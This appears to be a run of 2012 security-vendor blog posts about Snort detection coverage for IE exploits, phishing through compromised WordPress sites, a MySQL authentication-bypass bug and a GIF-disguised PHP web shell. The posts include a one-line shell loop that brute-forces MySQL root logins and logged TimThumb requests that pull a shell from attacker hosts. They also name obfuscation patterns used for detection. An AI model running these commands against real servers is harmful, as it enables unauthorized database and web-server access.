Thursday, June 21, 2012

Microsoft In-The-Wild Coverage - CVE-2012-1889 and CVE-2012-1875

As a security professional, there's very little I hate more than Microsoft vulnerabilities announced after patches are sent out each Microsoft Tuesday. Not only do they mean that folks like me have to scramble to address them - since invariably bugs released outside the standard patch cycle come with live exploits - they typically grant the largest possible exploitation window to an attacker. If your job is to keep systems secure, a potentially month-long window between exploit code release and patch release is a nightmare.

This month brought that exact scenario, with the public release of CVE-2012-1889 mere hours after the release of the month's patches. The vulnerability has been actively exploited in the wild for some time before this public release; Google has been issuing warnings to potential victims in Gmail at least since June 5. Initial exploitation appears to have been very narrowly targeted; with the June 15 release of a Metasploit module, however, as well as other exploits appearing across the web, users should expect a much more broad target base for attackers.

The good news for those of us charged with keeping networks secure is that there's been a very rapid response to this particular attack. The VRT released SIDs 23142 - 23146 the day after the public release of the vulnerability; we have been continuously monitoring newly released attacks, and have found that those rules cover everything that has been released to date. As those signatures are extremely generic in relation to the vulnerability, we expect them to continue working for any new exploits that are created, public or private.

In addition, Microsoft released a "Fix It" tool the day of the vulnerability announcement. While this tool does not patch the underlying bug - they're actively working on creating that patch - it does block the attack from reaching the vulnerable section of their codebase, which effectively keeps users safe while a full patch is created. I would strongly encourage you to use this tool immediately.

The other bug from this month's patch cycle that's actively being exploited in the wild is CVE-2012-1875, a complex DOM manipulation bug in Internet Explorer. A functional exploit with shellcode appeared on PasteBin on June 8 - four days before the release of the patch by Microsoft - and Metasploit also released code on June 13, which has been under active development to work on more platforms ever since. While the initial exploitation appeared, once more, to be very narrowly targeted, the broad availability of functional exploit code today means that the likelihood of this attack appearing in exploit kits or other commoditized attack platforms is exceptionally high.

Sourcefire customers have been protected by SID 23125 since this month's Microsoft Tuesday release; again, this coverage has been verified across all known exploits in the wild, and will be continually reviewed as new tools are released.

Tuesday, June 19, 2012

Compromised WordPress Blogs: A Phisher's Paradise

One of the ongoing trends in the phishing attacks the VRT monitors is the use of poorly secured WordPress blogs as staging points for exploit kits. Every time I hover over a link in the latest "UPS Tracking" or "Airline Ticket Confirmation" email, I'm looking for "/wp-content/", "/wp-includes/", or some other indicator of a poor, unsuspecting person who thinks they're telling the world everything they know about growing tulips, when in fact they're unwittingly serving as an accomplice to cybercrime. More and more often, those indicators crop up, with blatantly compromised web sites serving as the first point of entry into someone's Blackhole, Phoenix, or other exploit kit.

How often, you ask, are compromised WordPress installs being abused in this manner? I've been collecting phishes and other malicious emails for the last month or so, and in that time, over 5 percent of these messages have contained links with a WordPress-related URL in them. Given the fractured nature of attacks on the Internet - your average cybercriminal is generally looking to avoid detection, and as such is always looking for the latest obfuscation technique - any time you get a common thread appearing in attacks at that sort of a rate, it's actually significant from a detection perspective.

Of course, you can't just generate an IDS event every time someone requests a WordPress-related URL, even out of an email link - you'd end up melting your sensor, or the network itself if you were dropping these requests. What you can do, however, is look for some common techniques used by attackers against specific WordPress vulnerabilities, and use your knowledge of what should be in a given directory on a WordPress install to hook some really nasty phish on the proverbial line.

SID 21941, which was released on May 2, does exactly this. The rule looks for URLs specific to the Fgallery plugin - a relatively popular module for posting images on one's blog. Since the "/fgallery/" directory used by the plugin should only ever contain image files, the rule was written to look for file names ending in ".php" within that directory - a clear sign that someone has abused a remote file include vulnerability to upload a malicious page. The rule, which has been enabled in the balanced policy the entire time, has yielded no false positive reports to the VRT, and does an excellent job of catching compromised sites being used for nefarious purposes.

When a creative new phish hit inboxes yesterday - claiming to be a Verizon Wireless monthly statement:

I noticed that the URL went to < redacted > /wp-content/uploads/fgallery/vz.html. Running that URL through our sandbox, a clear-cut case of Blackhole emerged immediately; had I clicked the link from an actual workstation, I'd have been owned in no time flat.

Of course, while that URL was close to the pattern from SID 21941, the use of an HTML file instead of a PHP file dictated a new rule; that's being released in today's SEU as SID 23171.

The thing that terrifies me as someone attempting to secure the Internet, however, is the sheer volume of WordPress plugins vulnerable to remote file upload attacks just like this. Running a Google query for "wordpress file upload vulnerability" yields 459,000 results, and the first several pages of results returned are littered with live exploits that are ready to use on the Internet at large. If you're running a WordPress installation somewhere - seriously, make sure you're patched right now, because if you aren't, the chances that you'll stay safe from ownage are about as high as a snowball's surviving Washington, DC heat on an August day.

The VRT is constantly monitoring networks around the world, looking for live exploits like these, and will be adding rules for other commonly abused WordPress modules as they crop up. If you have suggestions for things you see being exploited regularly, please send them to research < at > sourcefire < dot > com, so we can make sure to add coverage promptly. In the meantime - be careful where you click, especially where WordPress is involved.

Tuesday, June 12, 2012

MySQL Authentication Brute Force Attack

Before you read this, go and make sure your MySQL servers are patched and up-to-date. This is serious, nasty 0-day, and while there is some mitigation in terms of impacted platforms, the newest MySQL bug is so trivial to exploit that it's worth a couple of minutes just to check that your box is secure before you do, well, anything else on the Internet today. We'll be here, we promise.

Assuming that you're current or on a safe platform, let's continue on with one of the more obscure authentication bugs the VRT has seen in some time.

According to a post on the oss-sec mailing list on Saturday, if you're using MySQL on a platform where memcmp(3) can return values outside of the standard range of -128 to 127 (such as Ubuntu 64-bit), MySQL will sipmly authenticate you even if your password was invalid...approximately 1 in every 256 times you attempt to log in. Simply put, you can have a conversation with a MySQL server that goes something like this:

Attacker: "Knock knock, it's me, root!"
MySQL Server: "No it's not, your password's not right. Go away."
Attacker: "Knock knock, it's me, root!"
MySQL Server: "No it's not, your password's not right. Go away."

< ... above repeated some ~300 times... >

Attacker: "Knock knock, it's me, root!"
MySQL Server: "Come on in!"

Exploitation is, as HD Moore put it, "tragically comedic" - you can do it with a simple one-line shell script if you have any standard MySQL client installed:

for i in `seq 1 1000`; do mysql -u root --password=bad -h < remote host > 2>/dev/null ; done

Even the most ridiculously unskilled of script kiddies can copy and paste a script like that and get into your database server as root. It's a horrifying vulnerability, when you sit down and think about it.

The good news is that the vast majority of builds of MySQL out there are not impacted. Many flavors of Debian-based Linux, RedHat, Gentoo, etc. have been confirmed as not vulnerable; official builds from MySQL and MariaDB (which is implicated as well) are in good shape, too. Well-respected security researcher Joshua Drake (jduck) has even provided a simple application to check whether your systems are vulnerable. Official patches from MySQL are available as well, and many impacted operating systems are issuing official patches.

The VRT has you covered as well. SID 23115, released in today's SEU, provides detection for bursts of login attempts - 100 or more in 5 seconds, to differentiate between a brute-force attack and legitimate traffic. Users may wish to consider tuning the rule's detection_filter to be more stringent, based upon the traffic that they see on their particular network. For example, if you have a low volume of legitimate MySQL login attempts, you might consider:

detection_filter: track by_src, count 20, seconds 5;

Be sure not to make changes like that in drop mode without testing on your network first - nobody wants to be the security guy that broke the production network. You can, however, be the security guy that's got everything under control, if you make sure to take care of your boxes with the information from this post.

Monday, June 11, 2012

Web Shell Poses As A GIF

One of the most actively scanned-for vulnerabilities on the Internet these days is the TimThumb remote file include, an attack released in August of 2011 that targets the popular WordPress module. People scan for it so heavily because doing so is cheap and easy, from a bandwidth and processing perspective: you literally just make a request on a web server for a given file. If you find a vulnerable machine, it then makes a single request to the site of your choosing, and poof, you've got a web shell; if the remote system isn't vulnerable, you just get a 404.

While reviewing some logs recently (I recently started a Twitter feed for ridiculous things I find in my personal web server logs, and the logs of anyone who wants to send me data), I found what appears to be a relatively popular web shell that's being used for these vulnerable TimThumb installations. Hosted primarily on domains disguised to look like they're on the popular, a single one of the VRT's servers had well over two thousand attempts to drop this shell on it since the start of June 2012 alone.

The attacks are very easy to identify in Apache logs:

[01/Jun/2012:06:05:58 -0400] "GET /iplists/wp-content/themes/freshnews/tools/timthumb.php?src=< redacted >.it/sh.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

[11/Jun/2012:03:31:23 -0400] "GET //wp-content/plugins/akismet/timthumb.php?src=< redacted >.cl/sh.php HTTP/1.1" 404 358 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2"

The actual shell itself that gets dropped is simultaneously sneaky and blatant. The file that comes down actually begins with a valid GIF header - so valid, in fact, that file(1) will return the following:

sh.php: GIF image data, version 89a, 16129 x 16191

From there, though, it launches into some very obviously malicious PHP code, which includes several chunks of heavily obfuscated code:

This leads to a pair of useful Snort rules. The first, SID 23113, is based around the obvious obfuscation done with "eval(gzinflate(base64_decode( < blob of data >". No sane web developer would ever go to the trouble of that many layers of obfuscation, but it's an easy way to make life difficult on WAF devices and other security technologies attempting to evaluate your code.

The second - SID 23114 - is for malformed files. If you see a GIF header, and then an opening PHP tag within the next 100 bytes, well, somebody's up to no good. Yes, technically you might have a PHP tag in a comment within the GIF strucutre - but I'll take the 999 attacks that will likely result out of each 1,000 times this rule fires and not worry too much about the potential for an obscure edge case like that.

As we do with all sorts of live attacks, we'll be watching for updates to this particular shell and adding/updating rules as appropriate. In the meantime, if you've got anything funny you're seeing that you think warrants a VRT rule - send it in, and we'll be happy to analyze it for you.